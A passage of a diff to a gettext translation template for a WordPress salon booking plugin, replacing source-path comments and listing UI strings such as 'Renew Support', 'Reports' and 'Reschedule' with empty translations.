..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FInitEnvatoAutomaticPluginUpdate.php:92\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FInitEnvatoAutomaticPluginUpdate.php:117\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FInitEnvatoAutomaticPluginUpdate.php:92\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FInitEnvatoAutomaticPluginUpdate.php:117\n+msgid \"Renew Support\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FInitEnvatoAutomaticPluginUpdate.php:421\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FInitEnvatoAutomaticPluginUpdate.php:421\n+msgid \"Renew Support Early\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FInitEnvatoAutomaticPluginUpdate.php:379\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FInitEnvatoAutomaticPluginUpdate.php:379\n+msgid \"Renew Support Now\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_style.php:184\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_style.php:184\n+msgid \"Replace booking modal window with a pop-up\"\n msgstr \"\"\n \n-#: src\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1616, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1616, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1616, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1616, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1616, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1616\n-msgid \"The custom fields for the resource.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002F_reports_bookings.php:2\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Freports.php:5\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAdmin\u002FReports.php:19\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FData\u002FFeatureIndex.php:127\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_reports_bookings.php:2\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Freports.php:5\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FReports.php:19\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FData\u002FFeatureIndex.php:127\n+msgid \"Reports\"\n msgstr \"\"\n \n-#: src\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1620, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1620, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1620, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1620, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1620, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1620\n-msgid \"The custom field item.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmetabox\u002Fbooking.php:360\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmetabox\u002Fbooking.php:363\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fbooking.php:360\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fbooking.php:363\n+msgid \"Request a feedback from customer by email\"\n msgstr \"\"\n \n-#: src\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1626, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1626, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1626, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1626, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1626, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1626\n-msgid \"The key\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002F_tools_cache_warmer.php:185\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_tools_cache_warmer.php:185\n+msgid \"Request failed:\"\n msgstr \"\"\n \n-#: src\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1634, src\u002FSLB_API_Mobile\u002FController\u002FCustomFields_Controller.php:146, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1634, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomFields_Controller.php:146, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1634, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomFields_Controller.php:146, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1634, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomFields_Controller.php:146, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1634, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomFields_Controller.php:146, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1634, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomFields_Controller.php:146\n-msgid \"The value\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_payments.php:74\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_payments.php:74\n+msgid \"Request upfront deposit or offer a \\\"Pay later\\\" option.\"\n msgstr \"\"\n \n-#: src\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1642, src\u002FSLB_API_Mobile\u002FController\u002FCustomFields_Controller.php:154, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1642, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomFields_Controller.php:154, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1642, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomFields_Controller.php:154, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1642, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomFields_Controller.php:154, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1642, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomFields_Controller.php:154, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1642, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomFields_Controller.php:154\n-msgid \"The label\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Fonboarding.php:218\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Fonboarding.php:218\n+msgid \"Require deposits for bookings\"\n msgstr \"\"\n \n-#: src\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1647, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1647, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1647, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1647, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1647, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1647\n-msgid \"The type\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_checkout.php:78\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_checkout.php:212\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_checkout.php:78\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_checkout.php:212\n+msgid \"Required\"\n msgstr \"\"\n \n-#: src\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:106, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:106, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:106, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:106, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:106, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:106\n-msgid \"Photo file.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomFields_Controller.php:135\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomFields_Controller.php:135\n+msgid \"Required for the resource.\"\n msgstr \"\"\n \n-#: src\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:122, src\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:156, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:122, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:156, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:122, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:156, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:122, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:156, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:122, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:156, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:122, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:156\n-msgid \"Unique identifier for the photo resource.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Fextensions.php:444\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Fextensions.php:444\n+msgid \"Requires active license\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Fextensions.php:419\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Fextensions.php:419\n+msgid \"Requires Pro plan\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002F_salon_my_account_details_table_rows.php:85\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002F_salon_my_account_details_table_rows.php:121\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002F_salon_my_account_details_table_rows.php:85\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002F_salon_my_account_details_table_rows.php:121\n+msgid \"Reschedule\"\n msgstr \"\"\n \n-#: src\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:133, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:133, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:133, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:133, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:133, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:133\n-msgid \"Photo.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmail\u002F_admin_update_message_text.php:3\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmail\u002F_admin_update_message_text.php:3\n+msgid \"Reservation addt [SALON NAME] has been modified\"\n msgstr \"\"\n \n-#: src\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:137, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:137, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:137, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:137, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:137, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:137\n-msgid \"Is default.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmail\u002Fsummary_admin.php:30\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmail\u002Fsummary_admin.php:30\n+msgid \"Reservation has been modified \"\n msgstr \"\"\n \n-#: src\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:631, src\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:647, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:631, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:647, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:631, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:647, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:631, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:647, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:631, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:647, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:631, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:647\n-msgid \"Sorry, upload error.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAdmin\u002FTools.php:162\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FImportBookings.php:58\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FTools.php:162\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FImportBookings.php:58\n+msgid \"Reservations\"\n msgstr \"\"\n \n-#: src\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:843, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:843, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:843, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:843, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:843, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:843\n-msgid \"Photos of the resource.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_advanced.php:79\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_advanced.php:79\n+msgid \"Reservations amount collected by a single customer\"\n msgstr \"\"\n \n-#: src\u002FSLB_API_Mobile\u002FController\u002FCustomFields_Controller.php:100, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomFields_Controller.php:100, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomFields_Controller.php:100, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomFields_Controller.php:100, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomFields_Controller.php:100, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomFields_Controller.php:100\n-msgid \"Label for the resource.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAdmin\u002FReports\u002FAbstractReport.php:654\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FReports\u002FAbstractReport.php:654\n+msgid \"Reservations and revenues\"\n msgstr \"\"\n \n-#: src\u002FSLB_API_Mobile\u002FController\u002FCustomFields_Controller.php:109, 